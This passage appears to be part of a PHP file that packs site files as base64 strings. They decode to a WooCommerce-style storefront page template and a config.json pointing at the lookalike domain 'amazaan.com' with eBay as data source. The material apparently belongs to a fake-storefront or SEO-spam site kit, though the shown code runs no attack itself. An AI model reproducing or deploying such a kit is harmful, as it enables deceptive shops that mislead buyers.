BvcnRvLXNpY29uLXRpdGxlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAxcmVtOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogNzAwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogMS4yZW07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC05NTA3ZTc1IC5wb3J0by1zaWNvbi1oZWFkZXIgcCB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMC44NzVyZW07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA1MDA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxZW07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgLmVsZW1lbnRvci0xNzY5IC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC05NTA3ZTc1IC5wb3J0by1zaWNvbi1kZXNjcmlwdGlvbiB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMC44MTI1cmVtOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5ib3R0b20tYWRzIC5wb3J0by1zaWNvbi1oZWFkZXIgKyAucG9ydG8tc2ljb24tZGVzY3JpcHRpb24gew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtYXJnaW4tdG9wOiAuNXJlbQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5ib3R0b20tYWRzIC5sZWZ0LWljb24gLnBvcnRvLXNpY29uLWxlZnQgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfTwvc3R5bGU+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPC9hc2lkZT4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICA8ZGl2IGlkPSJmb290ZXIiIGNsYXNzPSJmb290ZXIgZm9vdGVyLTMiDQogICAgICAgICAgICA+DQoNCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXItYm90dG9tIj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlci1sZWZ0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7e2Zvb3Rlcl9jb3B5cmlnaHR9fQ0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlci1yaWdodCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBjbGFzcz0iaW1nLXJlc3BvbnNpdmUgZm9vdGVyLXBheW1lbnQtaW1nIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3JjPSIvd3AtY29udGVudC91cGxvYWRzLzIwMjAvMDEvc2hvcDEwX3BheW1lbnQtMS5wbmciIGFsdD0iUGF5bWVudCBHYXRld2F5cyIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCg0KDQogICAgICAgIDwvZGl2Pg0KDQogICAgPC9kaXY+DQoNCjwvZGl2PjwhLS0gZW5kIHdyYXBwZXIgLS0+DQo8ZGl2IGNsYXNzPSJhZnRlci1sb2FkaW5nLXN1Y2Nlc3MtbWVzc2FnZSBzdHlsZS0yIj4NCiAgICA8ZGl2IGNsYXNzPSJiYWNrZ3JvdW5kLW92ZXJsYXkiPjwvZGl2Pg0KICAgIDxkaXYgY2xhc3M9ImxvYWRlciBzdWNjZXNzLW1lc3NhZ2UtY29udGFpbmVyIj4NCiAgICAgICAgPGRpdiBjbGFzcz0ibXNnLWJveCI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtc2ciPllvdSYjMDM5O3ZlIGp1c3QgYWRkZWQgdGhpcyBwcm9kdWN0IHRvIHRoZSBjYXJ0OjxwDQogICAgICAgICAgICAgICAgICAgIGNsYXNzPSJwcm9kdWN0LW5hbWUgdGV4dC1jb2xvci1wcmltYXJ5Ij48L3A+PC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8YnV0dG9uIGNsYXNzPSJidXR0b24gYnRuLXByaW1heSB2aWV3Y2FydCIgZGF0YS1saW5rPSIiPlZpZXcgQ2FydDwvYnV0dG9uPg0KICAgICAgICA8YnV0dG9uIGNsYXNzPSJidXR0b24gYnRuLXByaW1heSBjb250aW51ZV9zaG9wcGluZyI+Q29udGludWU8L2J1dHRvbj4NCiAgICA8L2Rpdj4NCjwvZGl2Pg0KDQo8ZGl2IGNsYXNzPSJwYW5lbC1vdmVybGF5Ij48L2Rpdj4NCjxkaXYgaWQ9InNpZGUtbmF2LXBhbmVsIiBjbGFzcz0iIj4NCiAgICA8YSBocmVmPSIjIiBhcmlhLWxhYmVsPSJNb2JpbGUgQ2xvc2UiIGNsYXNzPSJzaWRlLW5hdi1wYW5lbC1jbG9zZSI+PGkgY2xhc3M9ImZhcyBmYS10aW1lcyI+PC9pPjwvYT4NCiAgICA8ZGl2IGNsYXNzPSJzd2l0Y2hlci13cmFwIj48L2Rpdj4NCiAgICA8ZGl2IGNsYXNzPSJtZW51LXdyYXAiPjx1bCBpZD0ibWVudS1tYWluLW1lbnUtMSIgY2xhc3M9Im1vYmlsZS1tZW51IGFjY29yZGlvbi1tZW51Ij57e3Byb2R1Y3RfY2F0ZWdvcnlfbW9iaWxlfX08L3VsPjwvZGl2Pg0KICAgIDxkaXYgY2xhc3M9InNoYXJlLWxpbmtzIj48YSB0YXJnZXQ9Il9ibGFuayIgcmVsPSJub2ZvbGxvdyBub29wZW5lciBub3JlZmVycmVyIiBjbGFzcz0ic2hhcmUtZmFjZWJvb2siIGhyZWY9IiMiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRpdGxlPSJGYWNlYm9vayI+PC9hPg0KICAgICAgICA8YSB0YXJnZXQ9Il9ibGFuayIgcmVsPSJub2ZvbGxvdyBub29wZW5lciBub3JlZmVycmVyIiBjbGFzcz0ic2hhcmUtdHdpdHRlciIgaHJlZj0iIyIgdGl0bGU9IlR3aXR0ZXIiPjwvYT4NCiAgICAgICAgPGEgdGFyZ2V0PSJfYmxhbmsiIHJlbD0ibm9mb2xsb3cgbm9vcGVuZXIgbm9yZWZlcnJlciIgY2xhc3M9InNoYXJlLWluc3RhZ3JhbSIgaHJlZj0iIyIgdGl0bGU9Ikluc3RhZ3JhbSI+PC9hPg0KICAgIDwvZGl2Pg0KPC9kaXY+DQoNCjxzY3JpcHQ+DQogICAgd2luZG93LlJTX01PRFVMRVMgPSB3aW5kb3cuUlNfTU9EVUxFUyB8fCB7fTsNCiAgICB3aW5kb3cuUlNfTU9EVUxFUy5tb2R1bGVzID0gd2luZG93LlJTX01PRFVMRVMubW9kdWxlcyB8fCB7fTsNCiAgICB3aW5kb3cuUlNfTU9EVUxFUy53YWl0aW5nID0gd2luZG93LlJTX01PRFVMRVMud2FpdGluZyB8fCBbXTsNCiAgICB3aW5kb3cuUlNfTU9EVUxFUy5kZWZlcmVkID0gdHJ1ZTsNCiAgICB3aW5kb3cuUlNfTU9EVUxFUy5tb2R1bGVXYWl0aW5nID0gd2luZG93LlJTX01PRFVMRVMubW9kdWxlV2FpdGluZyB8fCB7fTsNCiAgICB3aW5kb3cuUlNfTU9EVUxFUy50eXBlID0gJ2NvbXBpbGVkJzsNCjwvc2NyaXB0Pg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KICAgIChmdW5jdGlvbiAoKSB7DQogICAgICAgIHZhciBjID0gZG9jdW1lbnQuYm9keS5jbGFzc05hbWU7DQogICAgICAgIGMgPSBjLnJlcGxhY2UoL3dvb2NvbW1lcmNlLW5vLWpzLywgJ3dvb2NvbW1lcmNlLWpzJyk7DQogICAgICAgIGRvY3VtZW50LmJvZHkuY2xhc3NOYW1lID0gYzsNCiAgICB9KSgpOw0KPC9zY3JpcHQ+DQo8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdlbGVtZW50b3ItaWNvbnMtY3NzJw0KICAgICAgaHJlZj0nL3dwLWNvbnRlbnQvcGx1Z2lucy9lbGVtZW50b3IvYXNzZXRzL2xpYi9laWNvbnMvY3NzL2VsZW1lbnRvci1pY29ucy5taW4uY3NzP3Zlcj01LjE3LjAnIG1lZGlhPSdhbGwnLz4NCjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2VsZW1lbnRvci1mcm9udGVuZC1jc3MnDQogICAgICBocmVmPScvd3AtY29udGVudC91cGxvYWRzL2VsZW1lbnRvci9jc3MvY3VzdG9tLWZyb250ZW5kLWxpdGUubWluLmNzcz92ZXI9MTcwOTg3OTQ5OCcgbWVkaWE9J2FsbCcvPg0KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nZWxlbWVudG9yLXBvc3QtMjE1Mi1jc3MnDQogICAgICBocmVmPScvd3AtY29udGVudC91cGxvYWRzL2VsZW1lbnRvci9jc3MvcG9zdC0yMTUyLmNzcz92ZXI9MTcwOTg3OTQ5OCcgbWVkaWE9J2FsbCcvPg0KPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncnMtcGx1Z2luLXNldHRpbmdzLWNzcycNCiAgICAgIGhyZWY9Jy93cC1jb250ZW50L3BsdWdpbnMvcmV2c2xpZGVyL3B1YmxpYy9hc3NldHMvY3NzL3JzNi5jc3M/dmVyPTYuNS4yMCcgbWVkaWE9J2FsbCcvPg0KPHN0eWxlIGlkPSdycy1wbHVnaW4tc2V0dGluZ3MtaW5saW5lLWNzcyc+DQogICAgI3JzLWRlbW8taWQgew0KICAgIH0NCjwvc3R5bGU+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy9jb250YWN0LWZvcm0tNy9pbmNsdWRlcy9zd3YvanMvaW5kZXguanM/dmVyPTUuNy4zJyBpZD0nc3d2LWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgaWQ9J2NvbnRhY3QtZm9ybS03LWpzLWV4dHJhJz4NCiAgICB2YXIgd3BjZjcgPSB7ImFwaSI6IHsicm9vdCI6ICJcL3dwLWpzb25cLyIsICJuYW1lc3BhY2UiOiAiY29udGFjdC1mb3JtLTdcL3YxIn19Ow0KPC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy9jb250YWN0LWZvcm0tNy9pbmNsdWRlcy9qcy9pbmRleC5qcz92ZXI9NS43LjMnIGlkPSdjb250YWN0LWZvcm0tNy1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy9yZXZzbGlkZXIvcHVibGljL2Fzc2V0cy9qcy9yYnRvb2xzLm1pbi5qcz92ZXI9Ni41LjE4JyBkZWZlciBhc3luYw0KICAgICAgICBpZD0ndHAtdG9vbHMtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvcmV2c2xpZGVyL3B1YmxpYy9hc3NldHMvanMvcnM2Lm1pbi5qcz92ZXI9Ni41LjIwJyBkZWZlciBhc3luYyBpZD0ncmV2bWluLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL2Fzc2V0cy9qcy9qcXVlcnktYmxvY2t1aS9qcXVlcnkuYmxvY2tVSS5taW4uanM/dmVyPTIuNy4wLXdjLjYuNy4wJw0KICAgICAgICBpZD0nanF1ZXJ5LWJsb2NrdWktanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBpZD0nd2MtYWRkLXRvLWNhcnQtanMtZXh0cmEnPg0KICAgIHZhciB3Y19hZGRfdG9fY2FydF9wYXJhbXMgPSB7DQogICAgICAgICJhamF4X3VybCI6ICJcL3NhYXMtc2VvXC9hZG1pbi1hamF4LnBocCIsDQogICAgICAgICJ3Y19hamF4X3VybCI6ICJcLz93Yy1hamF4PSUlZW5kcG9pbnQlJSIsDQogICAgICAgICJpMThuX3ZpZXdfY2FydCI6ICJWaWV3IGNhcnQiLA0KICAgICAgICAiY2FydF91cmwiOiAiXC9jYXJ0IiwNCiAgICAgICAgImlzX2NhcnQiOiAiIiwNCiAgICAgICAgImNhcnRfcmVkaXJlY3RfYWZ0ZXJfYWRkIjogIm5vIg0KICAgIH07DQo8L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL2Fzc2V0cy9qcy9mcm9udGVuZC9hZGQtdG8tY2FydC5taW4uanM/dmVyPTYuNy4wJw0KICAgICAgICBpZD0nd2MtYWRkLXRvLWNhcnQtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBpZD0nd2Mtc2luZ2xlLXByb2R1Y3QtanMtZXh0cmEnPg0KICAgIHZhciB3Y19zaW5nbGVfcHJvZHVjdF9wYXJhbXMgPSB7DQogICAgICAgICJpMThuX3JlcXVpcmVkX3JhdGluZ190ZXh0IjogIlBsZWFzZSBzZWxlY3QgYSByYXRpbmciLA0KICAgICAgICAicmV2aWV3X3JhdGluZ19yZXF1aXJlZCI6ICJ5ZXMiLA0KICAgICAgICAiZmxleHNsaWRlciI6IHsNCiAgICAgICAgICAgICJydGwiOiBmYWxzZSwNCiAgICAgICAgICAgICJhbmltYXRpb24iOiAic2xpZGUiLA0KICAgICAgICAgICAgInNtb290aEhlaWdodCI6IHRydWUsDQogICAgICAgICAgICAiZGlyZWN0aW9uTmF2IjogZmFsc2UsDQogICAgICAgICAgICAiY29udHJvbE5hdiI6ICJ0aHVtYm5haWxzIiwNCiAgICAgICAgICAgICJzbGlkZXNob3ciOiBmYWxzZSwNCiAgICAgICAgICAgICJhbmltYXRpb25TcGVlZCI6IDUwMCwNCiAgICAgICAgICAgICJhbmltYXRpb25Mb29wIjogZmFsc2UsDQogICAgICAgICAgICAiYWxsb3dPbmVTbGlkZSI6IGZhbHNlDQogICAgICAgIH0sDQogICAgICAgICJ6b29tX2VuYWJsZWQiOiAiIiwNCiAgICAgICAgInpvb21fb3B0aW9ucyI6IFtdLA0KICAgICAgICAicGhvdG9zd2lwZV9lbmFibGVkIjogIiIsDQogICAgICAgICJwaG90b3N3aXBlX29wdGlvbnMiOiB7DQogICAgICAgICAgICAic2hhcmVFbCI6IGZhbHNlLA0KICAgICAgICAgICAgImNsb3NlT25TY3JvbGwiOiBmYWxzZSwNCiAgICAgICAgICAgICJoaXN0b3J5IjogZmFsc2UsDQogICAgICAgICAgICAiaGlkZUFuaW1hdGlvbkR1cmF0aW9uIjogMCwNCiAgICAgICAgICAgICJzaG93QW5pbWF0aW9uRHVyYXRpb24iOiAwDQogICAgICAgIH0sDQogICAgICAgICJmbGV4c2xpZGVyX2VuYWJsZWQiOiAiIg0KICAgIH07DQo8L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL2Fzc2V0cy9qcy9mcm9udGVuZC9zaW5nbGUtcHJvZHVjdC5taW4uanM/dmVyPTYuNy4wJw0KICAgICAgICBpZD0nd2Mtc2luZ2xlLXByb2R1Y3QtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvYXNzZXRzL2pzL2pzLWNvb2tpZS9qcy5jb29raWUubWluLmpzP3Zlcj0yLjEuNC13Yy42LjcuMCcNCiAgICAgICAgaWQ9J2pzLWNvb2tpZS1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGlkPSd3b29jb21tZXJjZS1qcy1leHRyYSc+DQogICAgdmFyIHdvb2NvbW1lcmNlX3BhcmFtcyA9IHsiYWpheF91cmwiOiAiXC9zYWFzLXNlb1wvYWRtaW4tYWpheC5waHAiLCAid2NfYWpheF91cmwiOiAiXC8/d2MtYWpheD0lJWVuZHBvaW50JSUifTsNCjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvYXNzZXRzL2pzL2Zyb250ZW5kL3dvb2NvbW1lcmNlLm1pbi5qcz92ZXI9Ni43LjAnDQogICAgICAgIGlkPSd3b29jb21tZXJjZS1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGlkPSd3Yy1jYXJ0LWZyYWdtZW50cy1qcy1leHRyYSc+DQogICAgdmFyIHdjX2NhcnRfZnJhZ21lbnRzX3BhcmFtcyA9IHsNCiAgICAgICAgImFqYXhfdXJsIjogIlwvc2Fhcy1zZW9cL2FkbWluLWFqYXgucGhwIiwNCiAgICAgICAgIndjX2FqYXhfdXJsIjogIlwvP3djLWFqYXg9JSVlbmRwb2ludCUlIiwNCiAgICAgICAgImNhcnRfaGFzaF9rZXkiOiAid2NfY2FydF9oYXNoX2FiNjgxNDExNThiOWY2YmJiNzM2N2ZjMDY5YWIyY2FmIiwNCiAgICAgICAgImZyYWdtZW50X25hbWUiOiAid2NfZnJhZ21lbnRzX2FiNjgxNDExNThiOWY2YmJiNzM2N2ZjMDY5YWIyY2FmIiwNCiAgICAgICAgInJlcXVlc3RfdGltZW91dCI6ICI1MDAwIg0KICAgIH07DQo8L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL2Fzc2V0cy9qcy9mcm9udGVuZC9jYXJ0LWZyYWdtZW50cy5taW4uanM/dmVyPTYuNy4wJw0KICAgICAgICBpZD0nd2MtY2FydC1mcmFnbWVudHMtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBpZD0ncG9ydG8tbGl2ZS1zZWFyY2gtanMtZXh0cmEnPg0KICAgIHZhciBwb3J0b19saXZlX3NlYXJjaCA9IHsibm9uY2UiOiAiZjg5MmRkOTQ2OSJ9Ow0KPC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2luYy9saWIvbGl2ZS1zZWFyY2gvbGl2ZS1zZWFyY2gubWluLmpzP3Zlcj02LjcuMicNCiAgICAgICAgaWQ9J3BvcnRvLWxpdmUtc2VhcmNoLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3dvby1hamF4LWFkZC10by1jYXJ0L2Fzc2V0cy9mcm9udGVuZC93b28tYWpheC1hZGQtdG8tY2FydC5taW4uanM/dmVyPTEuNC4wJw0KICAgICAgICBpZD0nd29vLWFqYXgtYWRkLXRvLWNhcnQtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1pbmNsdWRlcy9qcy9jb21tZW50LXJlcGx5Lm1pbi5qcz92ZXI9Ni4xLjUnIGlkPSdjb21tZW50LXJlcGx5LWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vanMvYm9vdHN0cmFwLmpzP3Zlcj01LjAuMScgaWQ9J2Jvb3RzdHJhcC1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy93b29jb21tZXJjZS9hc3NldHMvanMvanF1ZXJ5LWNvb2tpZS9qcXVlcnkuY29va2llLm1pbi5qcz92ZXI9MS40LjEtd2MuNi43LjAnDQogICAgICAgIGlkPSdqcXVlcnktY29va2llLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vanMvbGlicy9vd2wuY2Fyb3VzZWwubWluLmpzP3Zlcj0yLjMuNCcgaWQ9J293bC5jYXJvdXNlbC1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWluY2x1ZGVzL2pzL2ltYWdlc2xvYWRlZC5taW4uanM/dmVyPTQuMS40JyBpZD0naW1hZ2VzbG9hZGVkLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgYXN5bmM9ImFzeW5jIiBzcmM9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9qcy9saWJzL2pxdWVyeS5tYWduaWZpYy1wb3B1cC5taW4uanM/dmVyPTEuMS4wJw0KICAgICAgICBpZD0nanF1ZXJ5LW1hZ25pZmljLXBvcHVwLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vanMvbGlicy9qcXVlcnkuZWxldmF0ZXpvb20ubWluLmpzP3Zlcj0zLjAuOCcgaWQ9J2pxdWVyeS1lbGV2YXRlem9vbS1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGlkPSdwb3J0by10aGVtZS1qcy1leHRyYSc+DQogICAgdmFyIGpzX3BvcnRvX3ZhcnMgPSB7DQogICAgICAgICJydGwiOiAiIiwNCiAgICAgICAgInRoZW1lX3VybCI6ICJcL3dwLWNvbnRlbnRcL3RoZW1lc1wvcG9ydG8iLA0KICAgICAgICAiYWpheF91cmwiOiAiXC9zYWFzLXNlb1wvYWRtaW4tYWpheC5waHAiLA0KICAgICAgICAiY2hhbmdlX2xvZ28iOiAiMSIsDQogICAgICAgICJjb250YWluZXJfd2lkdGgiOiAiMTE0MCIsDQogICAgICAgICJncmlkX2d1dHRlcl93aWR0aCI6ICIyMCIsDQogICAgICAgICJzaG93X3N0aWNreV9oZWFkZXIiOiAiMSIsDQogICAgICAgICJzaG93X3N0aWNreV9oZWFkZXJfdGFibGV0IjogIjEiLA0KICAgICAgICAic2hvd19zdGlja3lfaGVhZGVyX21vYmlsZSI6ICIxIiwNCiAgICAgICAgImFqYXhfbG9hZGVyX3VybCI6ICJcL3dwLWNvbnRlbnRcL3RoZW1lc1wvcG9ydG9cL2ltYWdlc1wvYWpheC1sb2FkZXJAMnguZ2lmIiwNCiAgICAgICAgImNhdGVnb3J5X2FqYXgiOiAiIiwNCiAgICAgICAgImNvbXBhcmVfcG9wdXAiOiAiIiwNCiAgICAgICAgImNvbXBhcmVfcG9wdXBfdGl0bGUiOiAiIiwNCiAgICAgICAgInByZGN0Zmx0cl9hamF4IjogIiIsDQogICAgICAgICJzbGlkZXJfbG9vcCI6ICIxIiwNCiAgICAgICAgInNsaWRlcl9hdXRvcGxheSI6ICIxIiwNCiAgICAgICAgInNsaWRlcl9hdXRvaGVpZ2h0IjogIjEiLA0KICAgICAgICAic2xpZGVyX3NwZWVkIjogIjUwMDAiLA0KICAgICAgICAic2xpZGVyX25hdiI6ICIiLA0KICAgICAgICAic2xpZGVyX25hdl9ob3ZlciI6ICIxIiwNCiAgICAgICAgInNsaWRlcl9tYXJnaW4iOiAiIiwNCiAgICAgICAgInNsaWRlcl9kb3RzIjogIjEiLA0KICAgICAgICAic2xpZGVyX2FuaW1hdGVpbiI6ICIiLA0KICAgICAgICAic2xpZGVyX2FuaW1hdGVvdXQiOiAiIiwNCiAgICAgICAgInByb2R1Y3RfdGh1bWJzX2NvdW50IjogIjQiLA0KICAgICAgICAicHJvZHVjdF96b29tIjogIjEiLA0KICAgICAgICAicHJvZHVjdF96b29tX21vYmlsZSI6ICIxIiwNCiAgICAgICAgInByb2R1Y3RfaW1hZ2VfcG9wdXAiOiAiMSIsDQogICAgICAgICJ6b29tX3R5cGUiOiAiaW5uZXIiLA0KICAgICAgICAiem9vbV9zY3JvbGwiOiAiMSIsDQogICAgICAgICJ6b29tX2xlbnNfc2l6ZSI6ICIyMDAiLA0KICAgICAgICAiem9vbV9sZW5zX3NoYXBlIjogInNxdWFyZSIsDQogICAgICAgICJ6b29tX2NvbnRhaW5fbGVucyI6ICIxIiwNCiAgICAgICAgInpvb21fbGVuc19ib3JkZXIiOiAiMSIsDQogICAgICAgICJ6b29tX2JvcmRlcl9jb2xvciI6ICIjODg4ODg4IiwNCiAgICAgICAgInpvb21fYm9yZGVyIjogIjAiLA0KICAgICAgICAic2NyZWVuX2xnIjogIjExNjAiLA0KICAgICAgICAibWZwX2NvdW50ZXIiOiAiJWN1cnIlIG9mICV0b3RhbCUiLA0KICAgICAgICAibWZwX2ltZ19lcnJvciI6ICI8YSBocmVmPVwiJXVybCVcIj5UaGUgaW1hZ2U8XC9hPiBjb3VsZCBub3QgYmUgbG9hZGVkLiIsDQogICAgICAgICJtZnBfYWpheF9lcnJvciI6ICI8YSBocmVmPVwiJXVybCVcIj5UaGUgY29udGVudDxcL2E+IGNvdWxkIG5vdCBiZSBsb2FkZWQuIiwNCiAgICAgICAgInBvcHVwX2Nsb3NlIjogIkNsb3NlIiwNCiAgICAgICAgInBvcHVwX3ByZXYiOiAiUHJldmlvdXMiLA0KICAgICAgICAicG9wdXBfbmV4dCI6ICJOZXh0IiwNCiAgICAgICAgInJlcXVlc3RfZXJyb3IiOiAiVGhlIHJlcXVlc3RlZCBjb250ZW50IGNhbm5vdCBiZSBsb2FkZWQuPGJyXC8+UGxlYXNlIHRyeSBhZ2FpbiBsYXRlci4iLA0KICAgICAgICAibG9hZGVyX3RleHQiOiAiTG9hZGluZy4uLiIsDQogICAgICAgICJzdWJtZW51X2JhY2siOiAiQmFjayIsDQogICAgICAgICJwb3J0b19ub25jZSI6ICJkOWI0MGM2NjFjIiwNCiAgICAgICAgInVzZV9za2VsZXRvbl9zY3JlZW4iOiBbInNob3AiLCAicHJvZHVjdCIsICJxdWlja3ZpZXciXSwNCiAgICAgICAgInVzZXJfZWRpdF9wYWdlcyI6ICIiLA0KICAgICAgICAicXVpY2tfYWNjZXNzIjogIkNsaWNrIHRvIGVkaXQgdGhpcyBlbGVtZW50LiIsDQogICAgICAgICJnb3RvX3R5cGUiOiAiR28gVG8gdGhlIFR5cGUgQnVpbGRlci4iLA0KICAgICAgICAibGVnYWN5X21vZGUiOiAiMSIsDQogICAgICAgICJwcmVfb3JkZXIiOiAiIg0KICAgIH07DQo8L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vanMvdGhlbWUuanM/dmVyPTYuNy4yJyBpZD0ncG9ydG8tdGhlbWUtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBhc3luYz0iYXN5bmMiIHNyYz0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2pzL3RoZW1lLWFzeW5jLmpzP3Zlcj02LjcuMicgaWQ9J3BvcnRvLXRoZW1lLWFzeW5jLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vanMvd29vY29tbWVyY2UtdGhlbWUuanM/dmVyPTYuNy4yJyBpZD0ncG9ydG8td29vY29tbWVyY2UtdGhlbWUtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9qcy9saWJzL2Vhc3ktcmVzcG9uc2l2ZS10YWJzLm1pbi5qcz92ZXI9Ni43LjInDQogICAgICAgIGlkPSdlYXN5LXJlc3BvbnNpdmUtdGFicy1qcyc+PC9zY3JpcHQ+DQo8IS0tIFdvb0NvbW1lcmNlIEphdmFTY3JpcHQgLS0+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQogICAgalF1ZXJ5KGZ1bmN0aW9uICgkKSB7DQogICAgICAgIGpRdWVyeShkb2N1bWVudC5ib2R5KS50cmlnZ2VyKCd3Y19mcmFnbWVudF9yZWZyZXNoJykNCiAgICB9KTsNCjwvc2NyaXB0Pg0KPC9ib2R5Pg0KPC9odG1sPg==',
  'config.json' => 'ew0KICAiYXBpX3VybCIgOiAid3d3LmFtYXphYW4uY29tIiwNCiAgImFwaV9zcmMiIDogImViYXkiLA0KICAiYXBpX2V4dHJhIiA6ICJ1cyIsDQogICJuZ2lueCIgOiAiMCIsDQogICJkb21haW5faWQiIDogIjIiLA0KICAiYXBwX2lkIiA6ICJ7YXBwfSINCn0NCg==',
